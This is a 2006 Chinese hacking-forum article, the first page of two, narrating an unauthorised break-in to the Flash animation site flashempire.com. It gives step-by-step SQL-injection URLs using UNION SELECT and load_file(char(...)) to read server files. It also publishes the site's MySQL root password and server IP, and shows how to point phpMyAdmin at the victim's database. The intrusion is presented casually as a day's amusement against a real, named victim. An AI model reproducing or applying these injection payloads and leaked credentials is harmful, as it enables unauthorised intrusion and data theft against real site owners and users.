黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 文章正文
[推荐]入侵网站-闪客帝国Flashempire
      ★★★★★
入侵网站-闪客帝国Flashempire
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-10-16

今天没什么事正在几个论坛上闲逛,突然TUPUNCO 发来消息'闪客帝国主站有个地方好像有问题,你看看',然后直奔http://www.flashempire.com。
测试后发现mysql在4.0已上-支持union,如果利用成功,直接威胁到主机的安全

入侵步骤 One

首先扫描一下flashempire.com 主机,发现一些常用端口。MySql数据库支持远程连接,整理了一下入侵思路还是重我比较熟悉得 脚本注入 下手吧。首先我们要得到web目录得路径,怎么办呢?就让它出错吧 ^_^ ,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。构造语句是小意思了。
http://www.flashempire.com/theater/top10.php?id=315 就已此为突破口
提交如下信息:
http://www.flashempire.com/theater/top10.php?id='
http://www.flashempire.com/theater/top10.php?id=

返回因为提交数据出错而爆出的路径,

再次思考了下,自己对闪客帝国的网站系统结构一无所知。就将我们的目标定位在MySql数据库,所有当前首要任务是拿到config.php中的数据库帐号 and 密码。由于闪客帝国的主站系统是自己开发的,我们无重得知其文件列表与数据结果。这里我们考虑直接读取文件,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。
当然其也有很多的限制:[php手册中的解释]
1、 欲读取文件必须在服务器上
2、 必须指定文件完整的路径名
3、 必须有权限读取并且文件必须完全可读
4、 欲读取文件必须小于 max_allowed_packet
5、 如果该文件不存在,或因为上面的任一原因而不能被读出,查询返回 NULL

首先提交如下Query:

http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,load_file('/home/flash/www/theater/theater.php'),1


返回出错信息
估计是magic_quotes_gpc = on ,过滤掉了 '号;换种方式再来一次,继续提交[char()函数]
[char()――将提交得字符转换为10进制,也可以使用SQL Encoder.exe转换为16进制得。已适应各种情况]
再次提交使用char()函数的Query:

"char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,116,104,101,97,116,101,114,47,116,111,112,49,48,46,112,104,112)"
就是"/home/flash/www/theater/theater.php"的ASCII代码"

http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,load_file(char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,116,104,101,97,116,101,114,47,116,111,112,49,48,46,112,104,112)),1
成功读出theater.php文件代码
返回成功读出theater.php文件的代码,

根据经验以及文件命名, /include/dbconnect.php就是我们的目标---存放数据库的连接信息的文件。
提交新的Query:

http://www.flashempire.com/theater/top10.ph ... 01=2%20union%20select%2050,8,7,6,5,4,3,load_file(char(47,104,111,109,101,47,102,108,97,115,104,47,119,119,119,47,105,110,99,108,117,100,101,47,100,98,99,111,110,110,101,99,116,46,112,104,112)),1
成功读出/include/dbconnect.php文件代码
返回成功读出/include/dbconnect.php文件的代码,如下;
$conn = mysql_connect("localhost","root","flash945") or die("数据库连接失败!");

^_^,成功拿到MySql数据库帐号;密码。刚才我们扫描得知MySql允许远程连接;现在我们用PhpMyadmin登陆上看看[phpmyadmin管理mysql个人感觉更方便一些]

打开 本机得 phpmyadmin/config.inc.php 作如下修改

$cfg['Servers'][$i]['host'] = 'localhost' //localhost修改为61.156.17.126[闪客帝国服务器IP]
$cfg['Servers'][$i]['user'] = 'root'//MySql登陆帐号,不必修改
$cfg['Servers'][$i]['password'] = '';// MySql登陆密码,修改为flash945

保存后,浏览我们本机得phpmyadmin即可以管理闪客帝国得MySql数据库.

四处逛逛收集信息,发现很对该网站管理层得帐号密码。本想用社会工程学猜猜密码,单均已失败告终。天津来得朋友又打电话叫去吃火锅,本来想带MM一起去。怕回来太晚就算了。今天的入侵告一段落。

[1] [2] 下一页  

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886